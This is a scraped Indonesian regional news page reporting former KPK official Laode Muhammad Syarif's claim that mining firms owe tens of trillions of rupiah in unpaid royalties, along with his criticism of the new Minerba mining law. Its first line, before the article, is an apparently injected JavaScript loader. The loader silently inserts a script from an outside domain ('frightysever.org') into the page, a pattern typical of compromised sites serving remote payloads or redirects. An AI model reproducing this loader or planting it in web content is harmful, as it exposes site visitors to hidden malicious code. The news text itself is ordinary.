(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Sejumlah Perusahaan Tambang Tak Bayar Pajak Puluhan Triliun ke Negara


KANALKALIMANTAN.COM, JAKARTA – Eks pimpinan Komisi Pemberantasan Korupsi (KPK) Laode Muhammad Syarif mengungkapkan sejumlah perusahaan tambang mineral dan batu bara menunggak pembayaran royalti, penerimaan negara bukan pajak/PNBP kepada negara. Tunggakan pajak perusahaan-perusahaan tambang itu sudah terjadi sejak beberapa tahun lalu hingga sekarang.

Hal tersebut dibeberkan Laode dalam Sidang Paripurna Pembacaan Putusan dan Penutupan Sidang Rakyat dengan topik Membatalkan Undang-undang Minerba yang baru melalui live streaming, Senin (1/6/2020).

“Waktu saya di KPK masih ada puluhan triliun pajak/PNBP yang belum mereka bayar sampai sekarang,” kata Laode.

Dia mengkritisi UU Minerba yang baru hasil produk pemerintah dan DPR tersebut. Sebab Uu tersebut merugikan rakyat dan bernuansa melanggengkan perusakan lingkungan oleh perusahaan tambang minerba di tanah air.

Banyak permasalahan yang dilahirkan dari eksploitasi pertambangan selama ini. Mulai dari masalah kerusakan lingkungan, konflik lahan antara perusahaan dengan masyarakat dan sebagainya.

“UU Minerba yang baru itu juga tidak menjawab masalah keadilan antara pusat dan daerah,” ujarnya.

Kemudian, lanjutnya, Uu yang baru tersebut lebih menguntungkan investor pertambangan. Banyak perusahaan tambang di berbagai daerah yang izin AMDAL-nya bermasalah.

“Bahkan di Kalimantan, ada penambangan dilakukan di belakang kantor KPU. Lalu di Sulawesi lokasi tambangnya di lingkungan sekolah,” katannya.

Dia menambahkan, pada tahun lalu saat masih menjabat Wakil Ketua KPK, pihaknya menerima laporan 10 perusahaan tambang bonafit izin kontrak karyanya berakhir pada akhir 2019 dan 2020. Sementara itu Uu Minerba yang baru justru memfasilitasi dan memudahkan para perusahaan tambang tersebut untuk bebas untuk mengeksploitasi alam berikutnya.

“Jadi presiden dan DPR tidak memihak lingkungan dan kepentingan rakyat,” katanya. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

2 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

4 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

8 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

8 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

11 jam ago

This website uses cookies.